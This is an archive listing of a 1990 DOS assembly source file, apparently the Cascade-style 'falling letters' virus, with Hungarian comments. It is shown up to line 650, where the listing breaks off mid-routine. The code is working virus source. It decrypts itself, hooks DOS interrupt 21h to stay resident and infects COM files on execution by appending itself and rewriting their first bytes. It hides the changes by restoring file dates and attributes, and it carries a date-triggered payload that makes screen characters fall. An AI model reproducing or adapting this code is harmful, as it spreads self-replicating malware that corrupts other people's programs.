home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / S70X.ASM < prev    next >
Assembly Source File  |  1990-03-01  |  20KB  |  781 lines

  1.     PAGE ,132
  2. VIRUS    SEGMENT PARA PUBLIC 'CODE'
  3.     ASSUME CS:VIRUS,DS:VIRUS
  4.  
  5. R1    EQU IDE-131H
  6. R2    EQU BE1-1A3H
  7. HOSSZ    EQU VEG-KEZDET
  8.  
  9.     ORG 100H
  10. KEZDET    EQU $
  11.     DB 1
  12.     CLI
  13.     MOV BP,SP
  14.     CALL IDE
  15. IDE:    POP BX        ; A CIM VISSZAOLVASASA
  16.     SUB BX,131H
  17.     TEST CS:BYTE PTR [BX+KEZDET-R1],1
  18.     JZ INDIT
  19.     LEA SI,[BX+INDIT-R1]
  20.     MOV SP,OFFSET VEG-INDIT
  21. FOLYT:    XOR [SI],SI
  22.     XOR [SI],SP
  23.     INC SI
  24.     DEC SP
  25.     JNZ FOLYT
  26. INDIT:    MOV SP,BP
  27.     JMP BEEPUL
  28.  
  29. REGCIM    DW 100H
  30. VSZ    DW 0
  31. MENTAX    DW 0
  32. PRGKEZ    DB 0,0,0
  33.     DW 0
  34. REG1C    DD 0
  35. REG21    DD 0
  36. REG28    DD 0
  37.     DW 0
  38. FILATT    DW 0
  39. FILDAT    DW 0
  40. FILIDO    DW 0
  41. FILNEV    DD 0
  42. FILHOS    DD 0
  43. UJKEZD    DB 0E9H,0,0
  44. VIDOSZL    DB 0
  45. VIDSOR    DB 0
  46. VIDMOD    DB 0
  47. OLVKAR    DB 0
  48. OLVATT    DB 0
  49. STATUS    DB 0
  50. VIDKEZ    DW 0
  51. VIDOFS    DW 0
  52. IDOEGYS    DW 0
  53. SZAML    DW 0
  54. SZAMLEL    DW 0
  55. MAXKAR    DW 0
  56. POTYKAR    DW 0
  57. ORA    DB 16 DUP(0)
  58.  
  59. BEEPUL:    CALL BE1
  60. BE1:    POP BX
  61.     SUB BX,1A3H
  62.     MOV CS:[BX+VSZ-R2],CS    ;  A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
  63.     MOV CS:[BX+MENTAX-R2],AX
  64.     MOV AX,CS:[BX+PRGKEZ-R2]
  65.     MOV DS:100H,AX        ;  AZ ELSO HAROM BYTE VISSZAALLITASA
  66.     MOV AL,CS:[BX+PRGKEZ+2-R2]
  67.     MOV DS:102H,AL
  68.     PUSH BX
  69.     MOV AH,30H        ;  A DOS VERZIOSZAM BEOLVASASA
  70.     INT 21H
  71.     POP BX
  72.     CMP AL,2
  73.     JB VISSZA        ;  HA KISEBB, MINT A 2.0 VERZIO
  74.     MOV AX,4BFFH        ;  A VIRUS AKTIVALTSAG ELLENORZESE
  75.     XOR DI,DI        ;  DI=0
  76.     XOR SI,SI        ;  SI=0
  77.     INT 21H            ;  A VIRUS MAR A MEMORIABAN?
  78.     CMP DI,55AAH        ;  HA DI=55AA, AKKOR MAR AKTIV
  79.     JNZ BE2            ;  UGRAS, HA MAR MUKODIK
  80.     JB BE3            ;  MINDIG HAMIS
  81. VISSZA:    STI            ;  ELINDITJA A GAZDAPROGRAMOT
  82.     PUSH DS
  83.     POP ES            ;  AZ ES VISSZAALLITASA
  84.     MOV AX,CS:[BX+MENTAX-R2]
  85.     JMP DWORD PTR CS:[BX+REGCIM-R2]
  86. BE2:    PUSH BX
  87.     MOV AX,3521H
  88.     INT 21H            ;  A 21H MEGSZAKITASVEKTOR BEOLVASASA
  89.     MOV AX,BX
  90.     POP BX            ;  ES ELTAROLASA A TABLAZATBAN
  91. BE3:    MOV CS:[BX+REG21-R2],AX
  92.     MOV CS:[BX+REG21+2-R2],ES
  93.     MOV AX,0F000H
  94.     MOV ES,AX
  95.     MOV DI,0E008H
  96.     CMP WORD PTR [DI],4F43H    ;  'COPR. IBM'+00H ELLENORZESE /LENNE/
  97.     JNZ BE4
  98.     CMP WORD PTR [DI+2],5250H
  99.     JNZ BE4
  100.     CMP WORD PTR [DI+4],202EH
  101.     JNZ BE4
  102.     CMP WORD PTR [DI+6],4249H
  103.     JNZ BE4
  104.     CMP WORD PTR [DI+8],4DH
  105.     JZ VISSZA
  106. BE4:    MOV AX,HOSSZ/10H+11H    ;  A VIRUS HOSSZA+100H PARAGRAFUSBAN
  107.     MOV BP,CS        ;  ES RAALLITASA A PROGRAMOT MEGELOZO
  108.     DEC BP            ;  MCB-RE
  109.     MOV ES,BP
  110.     MOV SI,CS:[16H]
  111.     MOV ES:[1],SI
  112.     MOV DX,ES:[3]        ;  A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
  113.     MOV ES:[3],AX
  114.     MOV ES:BYTE PTR [0],4DH    ;  NEM UTOLSO MCB
  115.     SUB DX,AX        ;  AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
  116.     DEC DX            ;  HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
  117.     INC BP
  118.     ADD BP,AX
  119.     INC BP
  120.     MOV ES,BP
  121.     PUSH BX
  122.     MOV AH,50H
  123.     MOV BX,BP
  124.     INT 21H
  125.     POP BX
  126.     XOR DI,DI        ;  DI=0
  127.     PUSH ES
  128.     POP SS            ;  SS=ES -  AZ UJ VEREM AZ UJ HELYEN LESZ
  129.     PUSH DI
  130.     LEA DI,[BX+VEG-R2-1]    ;  A PROGRAM VEGEROL
  131.     MOV SI,DI
  132.     MOV CX,OFFSET HOSSZ     ;  A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
  133.     STD            ;  VISSZAFELE
  134.     REPZ MOVSB        ;  FELMASOLJA
  135.     PUSH ES
  136.     LEA CX,[BX+BE9-R2]    ;  KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
  137.     PUSH CX            ;  LEVO VIRUSRA.  A PROGRAM VALOJABAN A 
  138.     RETF            ;  RETF UTASITAS UTAN FOLYTATODIK
  139. BE9:    MOV CS:[BX+VSZ-R2],CS    ;  AZ UJ SZEGMENSCIM AZ INDITASHOZ
  140.     LEA CX,[BX+KEZDET-R2]    ;  A PROGRAM HOSSZA VIRUS NELKUL
  141.     REPZ MOVSB        ;  A PROGRAM 'FELHUZASA' A VIRUS ALA
  142.     MOV CS:36H,CS
  143.     DEC BP            ;  AZ UJ MCB SZEGMENSCIME
  144.     MOV ES,BP        ;  ATTOLTENI ES-BE
  145.     MOV ES:[3],DX        ;  BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
  146.     MOV ES:BYTE PTR [0],5AH    ;  ES EZ AZ UTOLSO MCB
  147.     MOV ES:WORD PTR [1],CS    ;  A PROGRAM SZEGMENSCIME
  148.     INC BP            ;  ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
  149.     MOV ES,BP        ;  A PROGRAM ELEJERE
  150.     PUSH DS
  151.     POP ES            ;  ES=DS
  152.     PUSH CS
  153.     POP DS            ;  DS=CS
  154.     LEA SI,[BX+KEZDET-R2]    ;  A PROGRAM HOSSZA VIRUS NELKUL
  155.     MOV DI,100H
  156.     MOV CX,OFFSET HOSSZ    ;  A VIRUS HOSSZA
  157.     CLD            ;  A VIRUS LEMASOLASA A PROGRAM ELOTT
  158.     REPZ MOVSB        ;  FELSZABADULT HELYRE
  159.     PUSH ES            ;  ES KOZVETLEN VEZERLESATADAS A VEGLEGES
  160.     LEA AX,DS:BE8        ;  HELYEN TALALHATO VIRUS SZAMARA
  161.     PUSH AX            ;  AZ UGRAS AZ UJ VIRUS RETF UTASITASA
  162.     RETF            ;  UTAN TORTENIK
  163. BE8:    MOV CS:WORD PTR [2CH],0
  164.     MOV CS:16H,CS
  165.     PUSH DS            ;  DS ERTEKET ELMENTENI
  166.     LEA DX,DS:UJ21        ;  AZ UJ INT 21H CIMENEK BEALLITASA
  167.     PUSH CS            ;  DS=CS
  168.     POP DS
  169.     MOV AX,2521H
  170.     INT 21H
  171.     POP DS            ;  DS REGI ERTEKE
  172.     MOV AH,1AH
  173.     MOV DX,80H
  174.     INT 21H            ;  A DTA CIM BEALLITASA
  175.     CALL BEMAS        ;  A RENDSZERIDO BEMASOLASA A TABLAZATBA
  176.     MOV AH,2AH
  177.     INT 21H            ;  RENDSZERDATUM BEOLVASASA
  178.     CMP CX,1988        ;  A MAI DATUM NAGYOBB, MINT 1988?
  179.     JA BE5            ;  IGEN:  CSAK FERTOZES
  180.     JZ BE6            ;  IDEN VAN 1988
  181.     CMP CX,1980        ;  1980 VAN?
  182.     JNZ BE5            ;  IGEN:  CSAK FERTOZES
  183.     PUSH DS
  184.     MOV AX,3528H
  185.     INT 21H            ;  A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
  186.     MOV CS:WORD PTR REG28,BX
  187.     MOV CS:WORD PTR REG28+2,ES
  188.     MOV AX,2528H
  189.     MOV DX,OFFSET UJ28    ;  DX-BE AZ UJ INT 28H OFFSZETJE
  190.     PUSH CS
  191.     POP DS            ;  DS=CS
  192.     INT 21H            ;  A MEGSZAKITASI VEKTOR BEALLITASA
  193.     POP DS
  194.     OR CS:STATUS,1000B    ;  A POTYOGAS LETILTASA
  195.     JMP BE7
  196. BE6:    CMP DH,0AH        ;  CSAK OKTOBERTOL DECEMBERIG POTYOG
  197.     JB BE5            ;  MEG NINCS
  198. BE7:    CALL KESLH        ;  A KESLELTETESI ERTEK MEGHATAROZASA
  199.     MOV AX,1518H
  200.     CALL VELETL
  201.     INC AX
  202.     MOV CS:SZAML,AX        ;  A BELSO VALTOZOK BEALLITASA
  203.     MOV CS:SZAMLEL,AX
  204.     MOV CS:POTYKAR,1
  205.     MOV AX,351CH
  206.     INT 21H            ;  AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
  207.     MOV CS:WORD PTR REG1C,BX
  208.     MOV CS:WORD PTR REG1C+2,ES
  209.     PUSH DS
  210.     MOV AX,251CH
  211.     MOV DX,OFFSET UJ1C    ;  AZ UJ INT 1CH OFFSZETJE
  212.     PUSH CS            ;  ES SZEGMENSE
  213.     POP DS
  214.     INT 21H            ;  AZ 1CH VEKTOR BEALLITASA
  215.     POP DS
  216. BE5:    MOV BX,0FFD6H
  217.     JMP VISSZA
  218.  
  219. UJ21:    CMP AH,4BH        ;  A FUNKCIOKOD 4BH?
  220.     JZ U21_1        ;  IGEN
  221. U21_2:    JMP DWORD PTR CS:REG21    ;  FOLYTATAS A REGI INT 21H-N
  222. U21_3:    MOV DI,55AAH        ;  A VIRUS AKTIVALTSAGA
  223.     LES AX,CS:REG21
  224.     MOV DX,CS
  225.     IRET
  226. U21_1:    CMP AL,0FFH        ;  A VIRUS AKTIVALTSAG KERDEZESE?
  227.     JZ U21_3        ;  IGEN
  228.     CMP AL,0        ;  BETOLTES & INDITAS?
  229.     JNZ U21_2        ;  NEM
  230.     PUSHF            ;  A REGISZTEREK MENTESE
  231.     PUSH AX
  232.     PUSH BX
  233.     PUSH CX
  234.     PUSH DX
  235.     PUSH SI
  236.     PUSH DI
  237.     PUSH BP
  238.     PUSH ES
  239.     PUSH DS
  240.     MOV CS:WORD PTR FILNEV,DX
  241.     MOV CS:WORD PTR FILNEV+2,DS
  242.     PUSH CS
  243.     POP ES
  244.     MOV AX,3D00H
  245.     INT 21H            ;  A FILE MEGNYITASA OLVASASRA
  246.     JC FERT1
  247.     MOV BX,AX        ;  A FILESZAM ATVITELE BX-BE
  248.     MOV AX,5700H
  249.     INT 21H            ;  A KELETKEZESI IDO BEOLVASASA
  250.     MOV CS:FILDAT,DX    ;  ES ELTAROLASA
  251.     MOV CS:FILIDO,CX
  252.     MOV AH,3FH
  253.     PUSH CS
  254.     POP DS
  255.     MOV DX,OFFSET PRGKEZ
  256.     MOV CX,3
  257.     INT 21H            ;  AZ ELSO HAROM BYTE BEOLVASASA
  258.     JC FERT1
  259.     CMP AX,CX        ;  SIKERULT MINDENT BEOLVASNI?
  260.     JNZ FERT1        ;  NEM, HIBA TORTENT
  261.     MOV AX,4202H
  262.     XOR CX,CX
  263.     XOR DX,DX
  264.     INT 21H            ;  FILE HOSSZANAK A MEGHATAROZASA
  265.     MOV CS:WORD PTR FILHOS,AX
  266.     MOV CS:WORD PTR FILHOS+2,DX
  267.     MOV AH,3EH
  268.     INT 21H            ;  A FILE LEZARASA
  269.     CMP CS:WORD PTR PRGKEZ,5A4DH
  270.     JNZ FERT2        ;  COM FILE?
  271.     JMP FERT3        ;  EXE ESETEN VISSZATERES
  272. FERT2:    CMP CS:WORD PTR FILHOS+2,0
  273.     JA FERT1        ;  NAGYOBB, MINT 64K?
  274.     CMP CS:WORD PTR FILHOS,0F93BH
  275.     JBE FERT7        ;  A FILE MEG MEGFELELO MERETU
  276. FERT1:    JMP FERT3
  277. FERT7:    CMP CS:PRGKEZ,0E9H    ;  JMP UTASITAS?
  278.     JNZ FERT8        ;  NEM
  279.     MOV AX,CS:WORD PTR FILHOS
  280.     ADD AX,0F959H        ;  FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
  281.     CMP AX,CS:WORD PTR PRGKEZ+1
  282.     JZ FERT1        ;  EZ A FILE MAR FERTOZOTT
  283. FERT8:    MOV AX,4300H
  284.     LDS DX,CS:FILNEV
  285.     INT 21H            ;  A FILE ATTRIBUTUMANAK BEOLVASASA
  286.     JC FERT1
  287.     MOV CS:FILATT,CX    ;  AZ ATTRIBUTUM TAROLASA
  288.     XOR CL,20H        ;  AZ ARCHIV BIT INVERTALASA
  289.     TEST CL,27H
  290.     JZ FERT5
  291.     MOV AX,4301H
  292.     XOR CX,CX
  293.     INT 21H            ;  AZ UJ ATTRIBUTUM FELIRASA
  294.     JC FERT1
  295. FERT5:    MOV AX,3D02H
  296.     INT 21H            ;  FILE NYITASA IRASRA & OLVASASRA
  297.     JC FERT1
  298.     MOV BX,AX        ;  FILE SORSZAM BX-BE
  299.     MOV AX,4202H
  300.     XOR CX,CX
  301.     XOR DX,DX
  302.     INT 21H            ;  MUTATO A FILE VEGERE
  303.     CALL UTANMAS        ;  A VIRUST UTANAMASOLNI
  304.     JNC FERT9        ;  SIKERULT?
  305.     MOV AX,4200H
  306.     MOV CX,CS:WORD PTR FILHOS+2
  307.     MOV DX,CS:WORD PTR FILHOS
  308.     INT 21H            ;  MUTATO A FILE EREDETI VEGERE
  309.     MOV AH,40H
  310.     XOR CX,CX
  311.     INT 21H            ;  A FILEHOSSZ FELIRASA
  312.     JMP FERT6
  313. FERT9:    MOV AX,4200H
  314.     XOR CX,CX
  315.     XOR DX,DX
  316.     INT 21H            ;  MUTATO A FILE ELEJERE
  317.     JC FERT6
  318.     MOV AX,CS:WORD PTR FILHOS
  319.     ADD AX,0FFFEH        ;  AZ UGRASI CIM KISZAMITASA
  320.     MOV CS:WORD PTR UJKEZD+1,AX
  321.     MOV AH,040H
  322.     MOV DX,OFFSET UJKEZD
  323.     MOV CX,3
  324.     INT 21H            ;  AZ ELSO HAROM BYTE KIIRASA
  325. FERT6:    MOV AX,5701H
  326.     MOV DX,CS:FILDAT    ;  A DATUM
  327.     MOV CX,CS:FILIDO    ;  ES IDO BEOLVASASA
  328.     INT 21H            ;  ES BEALLITASA
  329.     MOV AH,3EH
  330.     INT 21H            ;  A FILE LEZARASA
  331.     MOV CX,CS:FILATT    ;  AZ ATTRIBUTUM BEOLVASASA
  332.     TEST CL,111B        ;  R/O, REJTETT VAGY RENDSZER?
  333.     JNZ FERTA
  334.     TEST CL,100000B        ;  ARCHIV FILE?
  335.     JNZ FERT3
  336. FERTA:    MOV AX,4301H
  337.     LDS DX,CS:FILNEV
  338.     INT 21H            ;  A FILE ATTRIBUTUMANAK BEALLITASA
  339. FERT3:    POP DS            ;  A REGISZTEREK VISSZAOLVASASA
  340.     POP ES
  341.     POP BP
  342.     POP DI
  343.     POP SI
  344.     POP DX
  345.     POP CX
  346.     POP BX
  347.     POP AX
  348.     POPF
  349.     JMP U21_2
  350.  
  351. VELETL    PROC NEAR        ;  EGY VELETLENSZAM ELOALLITASA
  352.     PUSH DS
  353.     PUSH CS
  354.     POP DS
  355.     PUSH BX
  356.     PUSH CX
  357.     PUSH DX
  358.     PUSH AX
  359.     MOV CX,7
  360.     MOV BX,OFFSET ORA+0EH
  361.     PUSH [BX]
  362. VEL1:    MOV AX,[BX-2]
  363.     ADC [BX],AX
  364.     DEC BX
  365.     DEC BX
  366.     LOOP VEL1
  367.     POP AX
  368.     ADC [BX],AX
  369.     MOV DX,[BX]
  370.     POP AX
  371.     OR AX,AX
  372.     JZ VEL2
  373.     MUL DX
  374. VEL2:    MOV AX,DX
  375.     POP DX            ;  REGISZTEREK VISSZAALLITASA
  376.     POP CX
  377.     POP BX
  378.     POP DS
  379.     RET
  380. VELETL    ENDP
  381.  
  382. BEMAS    PROC NEAR        ;  A RENDSZERIDO BEMASOLASA A TABLAZATBA
  383.     PUSH DS            ;  A REGISZTEREK ELMENTESE
  384.     PUSH ES
  385.     PUSH SI
  386.     PUSH DI
  387.     PUSH CX
  388.     PUSH CS            ;  ES=CS
  389.     POP ES
  390.     MOV CX,40H        ;  FORRAS= 0000:046CH
  391.     MOV DS,CX        ;  AZ ORA BEMASOLASA
  392.     MOV DI,OFFSET ORA
  393.     MOV SI,6CH
  394.     MOV CX,8        ;  16 BYTE
  395.     CLD            ;  NOVEKVO IRANYBA
  396.     REPZ MOVSW
  397.     POP CX            ;  A REGISZEREK ELOZO ERTEKEINEK
  398.     POP DI            ;  VISSZAALLITASA
  399.     POP SI
  400.     POP ES
  401.     POP DS
  402.     RET            ;  VISSZATERES
  403. BEMAS    ENDP    
  404.  
  405. VIDOLV    PROC NEAR        ;  OLVASAS A VIDEORAM-BOL
  406.     PUSH SI            ;  REGISZTEREK ELMENTESE
  407.     PUSH DS
  408.     PUSH DX
  409.     MOV AL,DH
  410.     MUL VIDOSZL        ;  A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
  411.     MOV DH,0        ;  SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
  412.     ADD AX,DX
  413.     SHL AX,1        ;  SZORZAS KETTOVEL (KAR.+ATTRIB.)
  414.     ADD AX,VIDOFS        ;  ELTOLAS A SZEGMENSEN BELUL
  415.     MOV SI,AX
  416.     TEST VIDMOD,11111111B    ;  HAVAZIK A KEPERNYO?
  417.     MOV DS,VIDKEZ
  418.     JZ VO3            ;  NEM HAVAZIK
  419.     MOV DX,3DAH        ;  A CGA KARTYA STATUSZPORTJA
  420.     CLI            ;  A MEGSZAKITASOKAT LETILTANI
  421. VO1:    IN AL,DX        ;  A STATUSZ BEOLVASASA
  422.     TEST AL,1000B        ;  FUGGOLEGES VISSZAFUTAS
  423.     JNZ VO3
  424.     TEST AL,1        ;  VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
  425.     JNZ VO1
  426. VO2:    IN AL,DX
  427.     TEST AL,1
  428.     JZ VO2
  429. VO3:    LODSW            ;  A KARAKTER ES ATTRIBUTUM BEOLVASASA
  430.     STI            ;  A MEGZAKITAS ELLENORZESE
  431.     POP DX            ;  REGISZTEREK VISSZAOLVASASA
  432.     POP DS
  433.     POP SI
  434.     RET
  435. VIDOLV    ENDP
  436.  
  437. VIDIR    PROC NEAR        ;  KIIRAS A VIDEORAM-BA
  438.     PUSH DI            ;  REGISZTEREK ELMENTESE
  439.     PUSH ES
  440.     PUSH DX
  441.     PUSH BX
  442.     MOV BX,AX        ;  A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
  443.     MOV AL,DH        ;  A CIM KISZAMITASA
  444.     MUL VIDOSZL
  445.     MOV DH,0
  446.     ADD AX,DX
  447.     SHL AX,1        ;  SZORZAS KETTOVEL
  448.     ADD AX,VIDOFS
  449.     MOV DI,AX
  450.     TEST VIDMOD,11111111B    ;  HAVAZIK A KEPERNYO?
  451.     MOV ES,VIDKEZ
  452.     JZ VI3            ;  NEM HAVAZIK
  453.     MOV DX,03DAH        ;  A CGA KARTYA STATUSZPORTJA
  454.     CLI            ;  MEGSZAKITASOKAT TILTANI
  455. VI1:    IN AL,DX        ;  A STATUSZT BEOLVASNI
  456.     TEST AL,1000B        ;  FUGGOLEGES VISSZAFUTAS?
  457.     JNZ VI3            ;  IGEN
  458.     TEST AL,1        ;  IRHATUNK A VIDEORAM-BA?
  459.     JNZ VI1            ;  HA IGEN, AKKOR VARJUNK MEG
  460. VI2:    IN AL,DX        ;  A STATUSZ BEOLVASASA
  461.     TEST AL,1        ;  VARJUK MEG, AMIRE ISMET OLVASHATUNK
  462.     JZ VI2
  463. VI3:    MOV AX,BX        ;  A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
  464.     STOSB            ;  BEIRASA A VIDEORAM-BA
  465.     STI            ;  A MEGSZAKITASOK MAR ENGEDELYEZHETOK
  466.     POP BX            ;  A REGISZTEREK VISSZAALITASA
  467.     POP DX
  468.     POP ES
  469.     POP DI
  470.     RET            ;  VISSZATERES
  471. VIDIR    ENDP
  472.  
  473. VARAK    PROC NEAR        ;  VARAKOZAS CX IDEIG
  474.     PUSH CX
  475. V1:    PUSH CX
  476.     MOV CX,IDOEGYS
  477. V2:    LOOP V2
  478.     POP CX
  479.     LOOP V1
  480.     POP CX
  481.     RET
  482. VARAK     ENDP
  483.  
  484. HANGSZ    PROC NEAR        ;  A HANGSZORO ATKAPCSOLASA
  485.     PUSH AX            ;  AX ELMENTESE
  486.     IN AL,61H        ;  A PPI BEOLVASASA
  487.     XOR AL,2        ;  A HANGSZORO ATKAPCSOLASA
  488.     AND AL,11111110B    ;  ENGEDELYEZESE
  489.     OUT 61H,AL        ;  VISSZAIRASA
  490.     POP AX            ;  AX VISSZAALLITASA
  491.     RET            ;  VISSZATERES
  492. HANGSZ    ENDP
  493.  
  494. URES    PROC NEAR
  495.     CMP AL,0        ;  NUL KODJA?
  496.     JZ UR1            ;  IGEN
  497.     CMP AL,20H        ;  SZOKOZ?
  498.     JZ UR1            ;  IGEN
  499.     CMP AL,0FFH        ;  0FFH IS URES
  500.     JZ UR1            ;  AZ
  501.     CLC            ;  NEM URES
  502.     RET            ;  VISSZATERES
  503. UR1:    STC            ;  URES
  504.     RET            ;  VISSZATERES
  505. URES    ENDP
  506.  
  507. GRAFIK    PROC NEAR
  508.     CMP AL,0B0H        ;  0B0H<=AL<=0DFH?
  509.     JB GR1            ;  NEM
  510.     CMP AL,0DFH
  511.     JA GR1            ;  NEM
  512.     STC            ;  IGEN
  513.     RET            ;  VISSZATERES
  514. GR1:    CLC            ;  NEM GRAFIKUS
  515.     RET            ;  VISSZATERES
  516. GRAFIK    ENDP
  517.  
  518. KESLH    PROC NEAR        ;  A KESLELTETESI ERTEK MEGHATAROZASA
  519.     PUSH DS
  520.     MOV AX,40H
  521.     MOV DS,AX
  522.     STI
  523.     MOV AX,DS:6CH        ;  AZ ORA BEOLVASASA
  524. KES1:    CMP AX,DS:6CH        ;  VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
  525.     JZ KES1
  526.     XOR CX,CX        ;  CX NULLAZASA
  527.     MOV AX,DS:6CH        ;  AZ ORA BEOLVASASA
  528. KES2:    INC CX            ;  CX=CX+1
  529.     JZ KES4            ;  HA TULCSORDULT
  530.     CMP AX,DS:6CH        ;  LEPETT MAR AZ ORA?
  531.     JZ KES2            ;  MEG NEM
  532. KES3:    POP DS
  533.     MOV AX,CX
  534.     XOR DX,DX
  535.     MOV CX,0FH
  536.     DIV CX
  537.     MOV CS:IDOEGYS,AX    ;  AZ IDOEGYSEG ELTAROLASA
  538.     RET
  539. KES4:    DEC CX
  540.     JMP KES3
  541. KESLH    ENDP
  542.  
  543. POTY    PROC NEAR        ;  POTYOGTATAS
  544.     MOV VIDSOR,24
  545.     PUSH DS
  546.     MOV AX,40H        ;  A BIOS PARAMETERBLOKK
  547.     MOV DS,AX
  548.     MOV AX,DS:4EH        ;  A VIDEOPUFFER OFSZET ERTEKE
  549.     POP DS
  550.     MOV VIDOFS,AX
  551.     MOV DL,0FFH
  552.     MOV AX,1130H
  553.     MOV BH,0
  554.     PUSH ES            ;  ES & BP ELMENTESE
  555.     PUSH BP
  556.     INT 10H            ;  A SOROK SZAMANAK BEOLVASASA
  557.     POP BP            ;  ES & BP VISSZAALLITASA
  558.     POP ES
  559.     CMP DL,0FFH
  560.     JZ PO1
  561. PO4:    MOV VIDSOR,DL        ;  A SOROK SZAMANAK ELTAROLASA
  562. PO1:    MOV AH,0FH
  563.     INT 10H            ;  OSZLOPOK SZAMANAK A BEOLVASASA
  564.     MOV VIDOSZL,AH        ;  ES ELTAROLASA
  565.     MOV VIDMOD,0        ;  A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
  566.     MOV VIDKEZ,0B000H    ;  BEALLITASA
  567.     CMP AL,7        ;  AZ AKTUALIS MOD EGA-TEXT?
  568.     JZ PO3            ;  IGEN
  569.     JB PO2
  570.     JMP PO7
  571. PO2:    MOV VIDKEZ,0B800H    ;  A VIDEOMEMORIA KEZDOCIME
  572.     CMP AL,3
  573.     JA PO3
  574.     CMP AL,2
  575.     JB PO3
  576.     MOV VIDMOD,1        ;  HAVAZIK A KEPERNYO
  577.     MOV AL,VIDSOR        ;  A SOROK SZAMA
  578.     INC AL            ;  MEG EGY
  579.     MUL VIDOSZL        ;  SZOROZVA AZ OSZLOPOK SZAMAVAL
  580.     MOV MAXKAR,AX        ;  ENNYI KARAKTERHELY VAN A KEPERNYON
  581.     MOV AX,POTYKAR        ;  A POTYOGTATANDO KARAKTEREK SZAMA
  582.     CMP AX,MAXKAR        ;  NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
  583.     JBE PO5            ;  NEM, TOVABB
  584.     MOV AX,MAXKAR        ;  A MAXIMALIS KARAKTERSZAM
  585. PO5:    CALL VELETL        ;  VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
  586.     INC AX            ;  /VAGY MAXIMALIS/ ERTEK KOZOTT
  587.     MOV SI,AX        ;  A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
  588. PO3:    XOR DI,DI        ;  DI=0
  589. PO8:    INC DI            ;  DI=DI+1  :  A SIKERTELEN KISERLETEKET SZAMLALJA
  590.     MOV AX,MAXKAR        ;  A MAXIMALIS KARAKTERSZAM
  591.     SHL AX,1        ;  SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
  592.     CMP DI,AX        ;  ENGEDELYEZETT EGYMAS UTAN
  593.     JBE PO6            ;  MEG NEM TELT LE
  594.     JMP PO7            ;  TULLEPTE, KILEPETT
  595. PO6:    OR STATUS,10B        ;  A KARAKTER NEM POTYOGOTT
  596.     MOV AL,VIDOSZL        ;  A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
  597.     MOV AH,0
  598.     CALL VELETL        ;  VELETLENSZAM ELOALLITASA
  599.     MOV DL,AL        ;  EZ LESZ AZ OSZLOPSZAM
  600.     MOV AL,VIDSOR        ;  MAXIMALIS ERTEK A SOROK SZAMA
  601.     MOV AH,0
  602.     CALL VELETL        ;  VELETLENSZAM ELOALLITASA
  603.     MOV DH,AL        ;  EZ LESZ A SORSZAM
  604.     CALL VIDOLV        ;  A MEGFELELO KARAKTER BEOLVASASA
  605.     CALL URES        ;  URES-E?
  606.     JC PO8            ;  IGEN
  607.     CALL GRAFIK        ;  GRAFIKUS-E?
  608.     JC PO8            ;  IGEN
  609.     MOV OLVKAR,AL        ;  A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
  610.     MOV OLVATT,AH        ;  ELTAROLASA
  611.     MOV CL,VIDSOR        ;  CX=SOROK SZAMA
  612.     MOV CH,0
  613. POC:    INC DH            ;  A KOVETKEZO SOR
  614.     CMP DH,VIDSOR        ;  ELERTE A MAXIMALISAT?
  615.     JA PO9            ;  TULLEPTE, ABBAHAGYNI
  616.     CALL VIDOLV        ;  A KARAKTER BEOLVASASA
  617.     CMP AH,OLVATT        ;  AZ ATTRIBUTUM STIMMEL?
  618.     JNZ PO9            ;  NEM EGYEZIK
  619.     CALL URES        ;  URES KARAKTER-E?
  620.     JC POA            ;  IGEN
  621. POE:    CALL GRAFIK        ;  GRAFIKUS-E?
  622.     JC PO9            ;  IGEN
  623.     INC DH            ;  A KOVETKEZO SOR
  624.     CMP DH,VIDSOR        ;  TULLEPTE AZ UTOLSO SORT?
  625.     JA PO9            ;  IGEN
  626.     CALL VIDOLV        ;  BEOLVASAS A VIDEORAM-BOL
  627.     CMP AH,OLVATT        ;  AZ ATTRIBUTUMOK OSSZEHASONLITASA
  628.     JNZ PO9            ;  NEM EGYEZNEK
  629.     CALL URES        ;  URES KARAKTER-E?
  630.     JNC POE            ;  NEM
  631.     CALL HANGSZ        ;  HANG ELOALLITASA
  632.     DEC DH            ;  A FELETTE LEVO SOR
  633.     CALL VIDOLV        ;  BEOLVASASA
  634.     MOV OLVKAR,AL        ;  ES AZ OTT LEVO KARAKTER ELTAROLASA
  635.     INC DH            ;  AZ ALATTA LEVO SOR
  636. POA:    AND STATUS,11111101B    ;  SIKERULT POTYOGTATNI
  637.     DEC DH            ;  A FELETTE LEVO SOR
  638.     MOV AL,20H        ;  A SZOKOZ KODJA
  639.     CALL VIDIR        ;  KIIRASA
  640.     INC DH            ;  AZ ALATTA LEVO SOR
  641.     MOV AL,OLVKAR        ;  A KARAKTER
  642.     CALL VIDIR        ;  KIIRASA
  643.     JCXZ POB        ;  HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
  644.     CALL VARAK        ;  VARAKOZAS
  645.     DEC CX            ;  ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
  646. POB:    JMP POC
  647. PO9:    TEST STATUS,10B        ;  POTYOGOTT MAR KARAKTER?
  648.     JZ POD            ;  IGEN
  649.     JMP PO8            ;  UJ KISERLET
  650. POD:    CALL HANGSZ        ;  HANG ELOALLITASA
